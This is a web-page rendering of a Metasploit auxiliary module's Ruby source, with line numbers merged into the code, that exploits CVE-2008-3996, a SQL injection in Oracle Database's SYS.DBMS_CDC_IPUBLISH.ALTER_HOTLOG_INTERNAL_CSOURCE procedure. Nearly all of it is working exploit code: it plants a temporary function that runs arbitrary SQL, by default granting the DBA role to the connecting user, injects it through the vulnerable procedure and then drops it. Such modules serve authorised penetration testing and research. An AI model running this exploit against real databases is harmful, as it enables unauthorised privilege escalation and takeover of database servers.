Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE',11'Description' => %q{12The module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE13procedure of the PL/SQL package DBMS_CDC_IPUBLISH. Any user with execute privilege14on the vulnerable package can exploit this vulnerability. By default, users granted15EXECUTE_CATALOG_ROLE have the required privilege. Affected versions: Oracle Database16Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2008-3996' ],23[ 'OSVDB', '49321']24],25'DisclosureDate' => '2008-10-22'))2627register_options(28[29OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),30])31end323334def run35return if not check_dependencies3637name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)3839function = "40CREATE OR REPLACE FUNCTION #{name}41RETURN VARCHAR2 AUTHID CURRENT_USER42IS43PRAGMA AUTONOMOUS_TRANSACTION;44BEGIN45EXECUTE IMMEDIATE '#{datastore['SQL']}';46COMMIT;47RETURN NULL;48END;"4950package = "51BEGIN52SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE('''||'||user||'.#{name}||''');END;"5354clean = "DROP FUNCTION #{name}"5556begin57print_status("Sending function...")58prepare_exec(function)59rescue => e60return61end6263print_status("Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...")64prepare_exec(package)6566print_status("Done! Removing function '#{name}'...")67prepare_exec(clean)68end69end707172